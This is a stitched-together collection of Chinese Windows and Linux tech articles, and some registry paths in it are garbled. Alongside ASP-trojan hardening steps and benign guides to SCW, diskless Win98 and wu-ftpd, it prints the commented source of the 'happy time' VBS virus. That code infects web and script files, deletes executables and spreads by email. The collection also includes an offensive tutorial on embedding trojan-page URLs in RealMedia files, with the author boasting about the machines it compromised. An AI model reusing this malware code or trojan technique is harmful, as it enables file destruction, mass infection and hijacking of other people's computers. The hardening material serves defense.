跳到正文

如何防止ASP木马在服务器上运行

如何防止ASP木马在服务器上运行

如果您的服务器正在受ASP木马的困扰,那么希望这篇文章能帮您解决您所面临的问题。

目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。

一、使用FileSystemObject组件

FileSystemObject可以对文件进行常规操作

可以通过修改注册表,将此组件改名,来防止此类木马的危害。
[separator]
HKEY_CLASSES_ROOTScripting.FileSystemObject
改名为其它的名字,如:改为FileSystemObject_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOTScripting.FileSystemObjectCLSID项目的值

也可以将其删除,来防止此类木马的危害。

注销此组件命令:RegSrv32 /u C:WINNTSYSTEMscrrun.dll

禁止Guest用户使用scrrun.dll来防止调用此组件。
使用命令:cacls C:WINNTsystem32scrrun.dll /e /d guests

二、使用WScript.Shell组件

WScript.Shell可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOTWScript.Shell

HKEY_CLASSES_ROOTWScript.Shell.1
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOTWScript.ShellCLSID项目的值
HKEY_CLASSES_ROOTWScript.Shell.1CLSID项目的值

也可以将其删除,来防止此类木马的危害。

------
禁止WScript.Shell
防范此类病毒的方法就是将Windows scripting host卸载掉,具体方法是:我的电脑→控制面板→添加/删除程序→安装WINDOWS→附件→详细资料→Windows scripting host→确定。其实还有一种方法更简单,依次键入下面两段命令:regsvr32/u wshom.ocx回车、regsvr32/u wshext.dll回车,就可以把注册表中.wsh对象的注册值删掉。这样那些必须依靠对象运行的病毒就因为找不着对象而无法运行下去。
------

三、使用Shell.Application组件

Shell.Application可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOTShell.Application

HKEY_CLASSES_ROOTShell.Application.1
改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOTShell.ApplicationCLSID项目的值
HKEY_CLASSES_ROOTShell.ApplicationCLSID项目的值

也可以将其删除,来防止此类木马的危害。

禁止Guest用户使用shell32.dll来防止调用此组件。
使用命令:cacls C:WINNTsystem32shell32.dll /e /d guests

注:操作均需要重新启动WEB服务后才会生效。

四、调用Cmd.exe

禁用Guests组用户调用cmd.exe

cacls C:WINNTsystem32Cmd.exe /e /d guests

通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

网页病毒源码解习

Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()
On Error Resume Next
[separator]mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
'设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
'生成Help.hta
End If
End If
End If
Else
Main
'都不是,就执行main函数
End If
End Sub
主函数
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "Help\Count")
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
'如果Count为0,就设为1
End If
Rw Ks & "Help\Count", Cn + 1
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName")
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1)
'得到该文件的文件名
fext = GetExt(Of, Od, f2)
'得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
'添加键值
If IsDel(fext) Then
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
'储存文件名
f2 = FNext(Of, Od, f2)
'得到文件的文件名?
Rw Ks & "Help\FileName", f2
'写注册表
Of.DeleteFile f3
'删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
'比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
'超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
'创建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
'创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
'在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
Od.Add "htt", "1100"
'向Dictionary里添加htt项目对
For Each m In gf
'遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
'得到每个文件的扩展名
If fext <> "" Then
'如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub

'##########################################################################
Sub Fw(Of, S, n)
'此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
'只读模式打开该文件
mt = fc.ReadAll
'读入全部文件流
fc.Close
'关闭文件
If Not Sc(mt) Then
'如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
'打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
'发带毒邮件
End If
End Sub

'############################################################
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
'如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
'表示已感染过,返回True,否则为False
End If
End Function

'###########################################################
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
'初始化变量
If Of.FileExists(S) Then
'如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
'得到文件的父目录名
fname = S
'得到文件名
ElseIf Of.FolderExists(S) Then
'不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
'得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
'得到当前目录下的所有文件对象
For Each m In gf
'遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
'如果该文件是文件集合中的一员
FNext = m
'则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
'如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function

安全配置向导(SCW)为Win2003打造铜墙铁壁

Windows Server 2003是大家最常用的服务器操作系统之一。虽然它提供了强大的网络服务功能,并且简单易用,但它的安全性一直困扰着众多网管,如何在充分利用Windows Server 2003提供的各种服务的同时,保证服务器的安全稳定运行,最大限度地抵御病毒和黑客的入侵。Windows Server 2003 SP1中文版补丁包的发布,恰好解决这个问题,它不但提供了对系统漏洞的修复,还新增了很多易用的安全功能,如安全配置向导(SCW)功能。利用SCW功能的“安全策略”可以最大限度增强服务器的安全,并且配置过程非常简单,下面就一起来看吧!

[separator]  厉兵秣马 先装“SCW”

  大家都很清楚,Windows Server 2003系统为增强其安全性,默认情况下,很多服务组件是不被安装的,要想使用,必须手工安装。“SCW”功能也是一样,虽然你已经成功安装了补丁包SP1,但也需要手工安装“安全配置向导(SCW)”组件。

  进入“控制面板”后,运行“添加或删除程序”,然后切换到“添加/删除Windows组件”页。下面在“Windows组件向导”对话框中选中“安全配置向导”选项,最后点击“下一步”按钮后,就能轻松完成“SCW”组件的安装。

  安装过程就这么简单,接下来就能根据自身需要,利用“SCW”配置安全策略,增强Windows Server 2003服务器安全。

  配置“安全策略” 原来如此“简单”

  在Windows Server 2003服务器中,点击“开始→运行”后,在运行对话框中执行“SCW.exe”命令,就会弹出“安全配置向导”对话框,开始你的安全策略配置过程。当然你也可以进入“控制面板→管理工具”窗口后,执行“安全配置向导”快捷方式来启用“SCW”。

  1.新建第一个“安全策略”

  如果你是第一次使用“SCW”功能,首先要为Windows Server 2003服务器新建一个安全策略,安全策略信息是被保存在格式为XML 的文件中的,并且它的默认存储位置是“C:\WINDOWS\security\msscw\Policies”。因此一个Windows Server 2003系统可以根据不同需要,创建多个“安全策略”文件,并且还可以对安全策略文件进行修改,但一次只能应用其中一个安全策略。

  在“欢迎使用安全配置向导”对话框中点击“下一步”按钮,进入到“配置操作”对话框,因为是第一次使用“SCW”,这里要选择“创建新的安全策略”单选项,点击“下一步”按钮,就开始配置安全策略。

  2.轻松配置“角色”

  首先进入“选择服务器”对话框,在“服务器”栏中输入要进行安全配置的Windows Server 2003服务器的机器名或IP地址,点击“下一步”按钮后,“安全配置向导”会处理安全配置数据库。

  接着就进入到“基于角色的服务配置”对话框。在基于角色的服务配置中,可以对Windows Server 2003服务器角色、客户端角色、系统服务、应用程序,以及管理选项等内容进行配置。

  所谓服务器“角色”,其实就是提供各种服务的Windows Server 2003服务器,如文件服务器、打印服务器、DNS服务器和DHCP服务器等 , 一个Windows Server 2003服务器可以只提供一种服务器“角色”,也可以扮演多种服务器角色。点击“下一步”按钮后,就进入到“选择服务器角色”配置对话框,这时需要在“服务器角色列表框”中勾选你的Windows Server 2003服务器所扮演的角色。

  注意:为了保证服务器的安全,只勾选你所需要的服务器角色即可,选择多余的服务器角色选项,会增加Windows Server 2003系统的安全隐患。如笔者的Windows Server 2003服务器只是作为文件服务器使用,这时只要选择“文件服务器”选项即可。

  进入“选择客户端功能”标签页,来配置Windows Server 2003服务器支持的“客户端功能”,其实Windows Server 2003服务器的客户端功能也很好理解,服务器在提供各种网络服务的同时,也需要一些客户端功能的支持才行,如Microsoft网络客户端、DHCP客户端和FTP客户端等。根据需要,在列表框中勾选你所需的客户端功能即可,同样,对于不需要的客户端功能选项,建议你一定要取消对它的选择。

  接下来进入到“选择管理和其它选项”对话框,在这里选择你需要的一些Windows Server 2003系统提供的管理和服务功能,操作方法是一样的,只要在列表框中勾选你需要的管理选项即可。点击“下一步”后,还要配置一些Windows Server 2003系统的额外服务,这些额外服务一般都是第三方软件提供的服务。

  然后进入到“处理未指定的服务”对话框,这里“未指定服务”是指,如果此安全策略文件被应用到其它Windows Server 2003服务器中,而这个服务器中提供的一些服务没有在安全配置数据库中列出,那么这些没被列出的服务该在什么状态下运行呢?在这里就可以指定它们的运行状态,建议大家选中“不更改此服务的启用模式”单选项。最后进入到“确认服务更改”对话框,对你的配置进行最终确认后,就完成了基于角色的服务配置。

  3.配置网络安全

  以上完成了基于角色的服务配置。但Windows Server 2003服务器包含的各种服务,都是通过某个或某些端口来提供服务内容的,为了保证服务器的安全,Windows防火墙默认是不会开放这些服务端口的。下面就可以通过“网络安全”配置向导开放各项服务所需的端口,这种向导化配置过程与手工配置Windows防火墙相比,更加简单、方便和安全。

  在“网络安全”对话框中,要开放选中的服务器角色,Windows Server 2003系统提供的管理功能以及第三方软件提供的服务所使用的端口。点击“下一步”按钮后,在“打开端口并允许应用程序”对话框中开放所需的端口,如FTP服务器所需的“20和21”端口,IIS服务所需的“80”端口等,这里要切记“最小化”原则,只要在列表框中选择要必须开放的端口选项即可,最后确认端口配置,这里要注意:其它不需要使用的端口,建议大家不要开放,以免给Windows Server 2003服务器造成安全隐患。

  4.注册表设置

  Windows Server 2003服务器在网络中为用户提供各种服务,但用户与服务器的通信中很有可能包含“不怀好意”的访问,如黑客和病毒攻击。如何保证服务器的安全,最大限度地限制非法用户访问,通过“注册表设置”向导就能轻松实现。

  利用注册表设置向导,修改Windows Server 2003服务器注册表中某些特殊的键值,来严格限制用户的访问权限。用户只要根据设置向导提示,以及服务器的服务需要,分别对“要求SMB安全签名”、“出站身份验证方法”、“入站身份验证方法”进行严格设置,就能最大限度保证Windows Server 2003服务器的安全运行,并且免去手工修改注册表的麻烦。

  5.启用“审核策略”

  聪明的网管会利用日志功能来分析服务器的运行状况,因此适当的启用审核策略是非常重要的。SCW功能也充分的考虑到这些,利用向导化的操作就能轻松启用审核策略。

  在“系统审核策略”配置对话框中要合理选择审核目标,毕竟日志记录过多的事件会影响服务器的性能,因此建议用户选择“审核成功的操作”选项。当然如果有特殊需要,也可以选择其它选项。如“不审核”或“审核成功或不成功的操作”选项。

  6.增强IIS安全

  IIS服务器是网络中最为广泛应用的一种服务,也是Windows系统中最易受攻击的服务。如何来保证IIS服务器的安全运行,最大限度免受黑客和病毒的攻击,这也是SCW功能要解决的一个问题。利用“安全配置向导”可以轻松的增强IIS服务器的安全,保证其稳定、安全运行。

  在“Internet信息服务”配置对话框中,通过配置向导,来选择你要启用的Web服务扩展、要保持的虚拟目录,以及设置匿名用户对内容文件的写权限。这样IIS服务器的安全性就大大增强。

  小提示:如果你的Windows Server 2003服务器没有安装、运行IIS服务,则在SCW配置过程中不会出现IIS安全配置部分。

  完成以上几步配置后,进入到保存安全策略对话框,首先在“安全策略文件名”对话框中为你配置的安全策略起个名字,最后在“应用安全策略”对话框中选择“现在应用”选项,使配置的安全策略立即生效。

  利用SCW增强Windows Server 2003服务器的安全性能就这么简单,所有的参数配置都是通过向导化对话框完成的,免去了手工繁琐的配置过程,SCW功能的确是安全性和易用性有效的结合点。如果你的Windows Server 2003系统已经安装了SP1补丁包,不妨试试SCW吧!

三招破解禁用鼠标右键的网站

你是不是在网上经常看到一些有用的图片,想把它下载到自己的电脑上。一般的方法是鼠标右击图片选择“另存为”即可。可是在有些网站当你右击鼠标时,并没有弹出快捷菜单,而是一个类似于“不可用右键!”的警告窗口。难道就这样算了吗?那可不行,一定要发扬DIYer们的精神!

[separator]1、解除禁用鼠标右键。可以先点击左键,不松手,再点击右键。接着松开左键,最后松开右键。你看是不是又出现了正常的快捷菜单,赶紧“另存为”吧!当然这个方法不能适用所有的网站,那就试试下面的方法吧!

2、使用专业的下载工具。首先打开“网络蚂蚁”或“网际快车”等下载工具(以网际快车为例),并且设置为显示浮动窗口。只要把鼠标移到图片上,按住左键不放,拖曳到网际快车的浮动窗口,然后松开鼠标邮件。你瞧!网际快车已经添加了一个下载任务,等着你的确认呢!确定后就可以轻松地下载到你的电脑上了。要是你手头上没有下载软件,或者是认为它不易管理图片文件,你还可以用用下面的方法。

3、保存整个网页文件。打开下载图片的网页,点击IE浏览器的文件菜单,选择“另存为”命令。在弹出的另存为窗口中设置好保存的路径、文件名以及保存类型。保存类型应该选择默认的“Web页,全部”。保存完毕之后就可以打开同文件名的Files文件夹,这里面都是保存下来网页的素材,当然包括你要的图片。接下来就可以用Windows的预览功能找到有用的图片或者是用ACDSee看图软件进行预览找到它!

在视频文件中插入木马+防御方法

在P2P软件里,很多的Real影片都是危险的,这只是一个小技巧,辅助的一种入侵方式,但这种方法很有效果,比如在著名的A片交流软件PP点点通里,我放了一个这样的小 木马 ,两天就有200个肉鸡,并且呈几何状增长.大家别做坏事。 使用Helix Producer Plus 9的rmevents.exe来修改影片的剪辑信息,可以在指定时间打开指定的窗口. 新建一个文本文件rmevents.txt. 输入: u 00:01:00.0 00:01:30.0http://www.xxxx.com.cn/muma.html 我来解释一下,它意思是说在00:01:00.0 [separator]00:01:30.0这个时间范围内打开后面的URL,后面的URL就是我们的 木马 地址。 输入rmevents -i 电影 .rm -e rmevents.txt -o 电影 1.rm 这个命令,生成的 电影 .rm就是我们的 木马 文件了。http://www.xxx.com.cn/muma.html这个地址是你做好的网页 木马 的地址,不管是动鲨 木马 啊,还是EXE2BMP的 木马 ,还是什么CHM 木马 ,还是我崇拜的冰狐大哥的IFRAME溢出的网页 木马 都可以。主要是新,威力强。 大家可以试一下。呵呵,intruder原创。本文允许转载,如转载请注明出处,谢谢。 唉。看来公布这个的危害还是不小地,嘿嘿,就当替我们党打击色情业了。 防御方法:一,最重要的一点,嘿嘿,别看不健康的东西,对身体不好哦。二,换别的播放器,我推荐梦幻鼎点播放器,贼好用啊。三,看片时用防火墙 屏蔽RealPlayer对网络的访问,但这样做在线看的时候就没保险了。四,最最重要的一点,打完所有的IE补丁。五,如果不怕麻烦,在看影片之前我们可以执行我们做 木马 的那一步,只是把rmevents.txt的内容清空再做,这样就清空了影片的剪辑信息了。 就这么点东西。文字里我老是嘿嘿呵呵的,别当我有精神病就行

基于mars_nwe的无盘win98 (摘自LINUXbyte)

基于mars_nwe的无盘win98

以下的这些描述是基于mars_nwe的(mars_nwe是一个运行在Linux之上的与Netware Novell3.11 等价的软件)。在这里,使用Netboot与Etherboot从Linux上远程启动的过程配置步骤将不会有详细的说明。 此外,读者应该参阅一些诸如bootpd tftp等的文档。安装完了以后,可以使用mknbi-dos(netboot)或DD从一张含有config.sys、autoexec.bat和Netware ODI的驱动的win98系统盘来建立启动镜像文件。(详细请见附件) [separator]

声明:
这些只是我的无盘98最后成功建立的一个记录而已。我写下这些东东是为了读者们看过了以后能够重新建立一个无盘98,如果你的系统配置与我的不一样,请你根据实际情况改之。

第一步:
首先,在你的服务器上,要有一份98的安装程序。但是,98和95第二版都没有了Netsetup。最好的办法是先安装一个98在本地硬盘上,除.dat .ini 和组文件(groupfiles)外,把所有的文件拷到服务器上。此外,你必需将setup.exe、*.cab和其他除了win*.cab文件从光盘中拷到共享目录,如win98net。
其次,由于netsetup不能建立完成,所以在服务器上让98的光盘可用是一个好办法,或者直接从光驱,或者解压到一个名为win98src的目录中,这样的话,在安装过程中,setup不能从win98net目录中找到文件,但它可以从光盘或win98src目录中找到。你可能还要更新共享目录。

第二步:
做一张带有ODI和VLM驱动和其他必需的文件的98启动盘,安装程序将尝试更新config.sys和autoexec.bat,但你可以取消它。我们不要建立启动盘在这时,因为我们知道要怎么样才能建立一个VLM启动盘。(VLM 可以从NOVELL的FTP上下载)。这个盘将被用来做启动镜像文件。还请注意,login.exe map.exe不是VLM的一部分,它们是Netware3.11的一部分。如果你是从硬盘启动,要保证它是干净的并且config.sys和autoexec.bat已经加载,建议你删除或备份根目录下以下的文件(如果存在的话):suhdlog.txt, setuplog.txt, msdos.sys, winboot.ini, system.1st, delog.txt, system.new, user.new

第三步:
登入到服务器,从F:\win98net在DOS下运行:
path=f:\win98net;f:\win98net\command;
和:
f:\win98net\setup /is /im /iq /id /t:f:\win98net\temp f:\win98net\msbatch.inf
注意:要确保f:\win98net\temp下没有文件,要不然setup将不能开始。msbatch.inf在附件中有,你可以更改其中的选项0(不安装)或1(安装),但是你要更改其中的IP地址,机器名(hostname),DNS等,以适合你的配置。

第四步:
你需要win98的序列码以备用。
************************************************************
* Server-based Setup *
* Click the type of installation you want, then click next *
* *
* o Copy all Windows 98 files to my computer *
* *
* o Setup Windows 98 to run from network server *
* *
* A minimum number files will be copied to my computer *
************************************************************

当出现以上屏幕时,选择第二项,然后下一步。

***************************************************************
* Startup Method *
* Click one of the following method for starting Windows, and *
* then click next *
* *
* o Start Windows from hard disk *
* o Start Windows from floppy disk *
* o Start Windows from the network (remote boot server) *
***************************************************************

当出现以上屏幕时,选择第三项,然后下一步。

******************************************************************
* Machine Directory *
* Type the name of the directory where you want to put files and *
* setting for this computer. Then click next to continue. *
* *
* Machine f:\win98 *
******************************************************************

在这一屏时,输入:f:\win98,在下一屏时,选自定义(custom),接着输入你的名字(可随便)、计算机名、公司和组织,再接着选择组件进行安装,推荐你选择最小安装(安装完了以,要想安装其他的程序可以从控制面板--添加/删除程序进行安装)。再经过两下屏幕,安装程序开始拷贝文件。

第五步:
重启计算机并登入,切换到 f:\win98下,并运行
setmdir /r:f:\win98
win
安装程序将开始设置你的网络,下列的这些组件将被安装:
o Novell NetWare (workstation Shell 4.0 and above [VLM]
o 3Com EtherLink III ISA (3c509/3c509b) in ISA mode (这是你的网卡名)
o Novell IPX ODI Protocol
o TCPI/IP

双击你的网卡,选择16 bits ODI 驱动程序,双击TCP/IP协议,输入IP地址、子网掩码等等。完了以后,双击关闭,安装程序将向你要ODI.com LSL.com 3c5x9.com 和Netware.drv(可从Netware VLM 1.12中来)。如果你没有netware.drv 它也能工作,你可以看到服务器的目录,但是NOVELL 工具将不能工作。注意,这时安装程序将会更新启动盘几次,but really not necessary since the boot disk is correctly setup already. Its time for another reboot!

第六步:

再一次登入到服务器,并且运行 setmdir /r:f:\win98 和 win,安装程序将开始设置你的硬件和PNP设备。如果安装程序不能找到一些文件,可以从光盘或是win98src目录中拷得。接下来的更新和系统注册要花一些时间,这里可能会出现绝大多数的驱动不能加载,包括IE,如果长时间没有响应,按Reset重启。再登入,运行 setmdir /r:f:\win98 和 scanreg /fix,然后再运行 win ,scanreg这个程序在98的光盘上,它将尝试修复注册清中任何的错误,如果有,它将把旧的改名为system.bad 和user.bad。更新完了注册表后,将要重启一次。

第七步:

Login到你的服务器,运行setmdir /r:f:\win98 和 win,你会看到一个提示你输入用户名和密码,这只是Windows 登录用的。过一会儿,你会看到正常的98桌面出现了。从控制面板--系统中,请查看所有的设备是否都正常工作。问题可能会出现在:网络适配器、显卡、声卡、APM等等。

第八步:

如果你的网卡前有一个黄色的标志且驱动程序与下列相似,你要重新运行:控制面板--网络,查看驱动程序集:
3com EtherLink III
Driver files
F:\WIN98NET\SYSTEM\NDIS.VXD
F:\WIN98NET\SYSTEM\vmm32.vxd(ntkern.vxd)
F:\WIN98NET\SYSTEM\ELNK3.SYS
F:\WIN98NET\SYSTEM\VTDI.386
F:\WIN98NET\SYSTEM\VIP.386
F:\WIN98NET\SYSTEM\VTCIP.386
F:\WIN98NET\SYSTEM\VDHCP.386

安装完网卡重启之后,再次查看网络以确保黄色标志消失,这时驱动文件列表如下:
3com EtherLink III
Driver files
F:\WIN98NET\SYSTEM\NDIS.VXD
F:\WIN98NET\SYSTEM\ELNK3.SYS
F:\WIN98NET\SYSTEM\VTDI.386
F:\WIN98NET\SYSTEM\VIP.386
F:\WIN98NET\SYSTEM\VTCIP.386
F:\WIN98NET\SYSTEM\VDHCP.386

你可能还会有显卡、声卡和其他的问题。如果是这样的话,在设备管理器中更新驱动程序。如果你的设备不能正常工作,你可以用原厂提供的更新的驱动程序。

如果你你增加了 Microsoft Client 和TCP/IP协议,你可能会看到"Error loading gdi.exe..." 并且要你重新安装Windows。记住,不要去做,你只要在autoexec.bat 中rem掉“lh odihlp.exe”,重启后安装网卡,并移去 Microsoft Client,如果你的IE4.0(注:本例为98一版)出现非法操作(Invalid Argument),

Linux与Windows硬盘资源互访

Linux下访问Windows硬盘分区

  在Red Hat Linux下访问Windows系统的硬盘分区很简单。因为Red Hat Linux提供了对几乎所有文件系统的支持,因此它可以直接读写Windows系统的分区。安装Red Hat Linux 时,就可以指出计算机中存在的Windows分区的位置,并指定想要将它们载入到Linux文件系统中的位置。

[separator]  通常,将Windows系统中C盘的内容载入到Linux系统下的目录/mnt/c,这时就可以如同看待Linux文件系统中一个目录一样看待C盘了。我们可以对其中的文件进行读写,或者在其中创建一个新的文件或目录。如果安装时没有指定Windows分区的位置,或者由于其它原因使/mnt/c目录下看不到系统Windows分区C盘的内容,就可以用下面的命令手动载入该分区:

#mount -t vfat/dev/hdal /mnt/c

  此命令可以将设备名为/dev/hda1(可以是任何实际存在的分区设备名)的Windows分区载入到目录/mnt/c 下,参数“-t vfat”表明载入的文件系统类型为vfat。用类似的mount命令,也可以载入软盘文件系统,只不过软盘的文件系统设备名通常是“/dev/floopy”或“/dev/fd0H1440”。为了统一起见,可将其载入到目录/mnt/floopy中。

  Red Hat Linux中还提供了一个文件系统的系统配置脚本文件,通过修改它可以让Linux启动时自动载入需要的其它非Linux文件系统。这个脚本是文件/etc/fstab,它的一个典型例子如下:

/dev/hda3 / ext2 defaults 1 1
/dev/hda4 swap swap defaults 0 0
/dev/fd0 /mnt/floppy ext2 noauto 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,r0 0 0
none /proc proc proc 0 0
none /dev/pts devpts mode=0622 0 0
/dev/hda1 /mnt/c vfat auto,rw 0 0
/dev/hda5 /mnt/e vfat auto,rw 0 0

  该文件中每行记录了一个系统自动载入的文件系统的信息,各列的意义依次为设备名、载入目录、文件系统类型、载入参数(自动、读写、模式等)、标记位。从这个文件可以看到,第一行是Linux自身的文件系统,第三、第四行代表软盘驱动器和光盘驱动器,它们都不是自动载入的,最后两行代表两个需自动载入的Windows分区。

  值得注意的是,对于软盘、光盘这些存储介质通常用“noauto”参数。如果像上例这样,它们在fstab文件中有记录,插入软盘或者光盘后,只需运行命令“mount/mnt/floopy”或“mount/mnt/cdrom”就可以将其载入Linux系统。在取出软盘或者光盘之前,必须运行命令“unmount/mnt/floopy”或“unmount/mnt/cdrom”取消它们的载入。否则,Linux系统会锁住该驱动器,即使按硬件按钮也无法将其取出。

  Red Hat Linux 这种识别其它文件系统的功能将大大方便使用计算机,在Linux下可以像对待其自身的数据一样对待Windows分区中的数据。比如,在Linux下实践各种命令的同时,还可以
  
  Windows下访问Linux硬盘分区

  Windows系统在处理各种文件系统方面,还不能像Red Hat Linux那样方便。因此,要查看Linux分区中的内容就需要借助于其它的软件工具了。

  下面我推荐一个目前流行的、功能稳定的工具软件fsdext2。

  fsdext2软件提供在Windows系统下读Linux分区的功能。获得fsdext2的压缩软件包之后,先将其解压缩,然后运行命令install。这个安装命令将fsdext2需要的几个vxd文件拷贝到Windows的系统目录下。

  使用fsdext2提供的mount命令,将ext2文件系统载入到Windows系统下。mount命令的参数是Linux分区的设备名(命名规则与Linux下的一样)。然后fsdext2会自动寻找一个未分配的盘符代表Linux分区。这样,我们就可以像访问一个Windows分区一样访问Linux分区了。

Linux构架FTP

wu-ftpd的安装非常容易,大多数版本的Linux中都包含了wu-ftpd的rpm软件包,你可以在安装Linux时指定装入。如果你想自行编译源代码,也可以到ftp://ftp.wu-ftpd.org下载最新版本的源代码包。
安装好以后,可以用ckconfig命令来检查是否已经正确安装。在/etc/passwd中可以指定ftp用户的登入目录。
wu-ftpd主要有以下6个配置文件:
ftpaccess(主要配置文件,控制存取权限)
ftpconvertions(配置文件压缩/解压缩转换)
ftpgroups(设定ftp自己定义的群组)
[separator]ftphosts(设定个别的用户权限)
ftpservers(设定不同IP/Domain Name以对应到不同的虚拟主机)
ftpusers(设定哪些帐号不能用ftp连线)
下面我们来一一介绍。
⒈/etc/ftpaccess(wu-ftpd的主要配置文件)
class--定义群组,用法如下:
class<种类><用户地址>[<用户地址>……]
